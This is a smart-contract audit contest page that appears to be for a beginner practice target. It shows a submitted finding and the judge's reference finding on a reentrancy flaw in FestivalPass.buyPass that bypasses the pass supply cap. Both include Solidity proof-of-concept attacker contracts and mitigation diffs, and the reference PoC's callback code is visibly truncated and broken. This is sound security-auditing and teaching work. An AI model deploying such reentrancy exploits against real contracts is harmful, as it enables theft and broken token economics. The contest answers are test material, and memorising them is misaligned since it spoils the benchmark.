Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

buyPass mints the ERC1155 pass before incrementing passSupply, so an onERC1155Received reentrancy bypasses passMaxSupply

buyPass mints the pass before incrementing passSupply, allowing reentrancy past the supply check

Description

buyPass validates passSupply[collectionId] < passMaxSupply[collectionId] (FestivalPass.sol:74), then calls _mint (line 76), and only afterwards runs ++passSupply (line 77). Because OpenZeppelin's ERC1155 _mint performs _doSafeTransferAcceptanceCheck and invokes the buyer's onERC1155Received callback before line 77 executes, a contract buyer can re-enter buyPass while passSupply is still un-incremented and pass the supply check again. This is a classic Checks-Effects-Interactions violation: the external interaction (_mint) happens before the state effect (++passSupply).

require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, ""); // @> callback fires here, before ++passSupply
++passSupply[collectionId];

Risk

Likelihood:

High. Any attacker can deploy a contract implementing onERC1155Received and call buyPass with the correct msg.value. The reentrant path is reachable on every purchase and requires no special privileges or race timing.

Impact:

High. The passMaxSupply cap is the core scarcity guarantee of the pass economy. Re-entering before the counter updates lets the attacker mint multiple passes in a single transaction while the check keeps passing, breaking the supply invariant the organizer relies on.

Proof of Concept

A malicious contract re-enters buyPass from its onERC1155Received hook, minting several passes while passSupply lags behind.

contract Reenter is IERC1155Receiver {
FestivalPass pass; uint256 id; uint256 left;
function attack(uint256 _id, uint256 n) external payable {
pass = FestivalPass(msg.sender); id = _id; left = n;
pass.buyPass{value: pass.passPrice(id)}(id);
}
function onERC1155Received(address,address,uint256,uint256,bytes calldata) external returns (bytes4) {
if (left > 1) { left--; pass.buyPass{value: pass.passPrice(id)}(id); }
return this.onERC1155Received.selector;
}
}

Recommended Mitigation

Apply Checks-Effects-Interactions by incrementing supply before minting, and add a guard.

- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!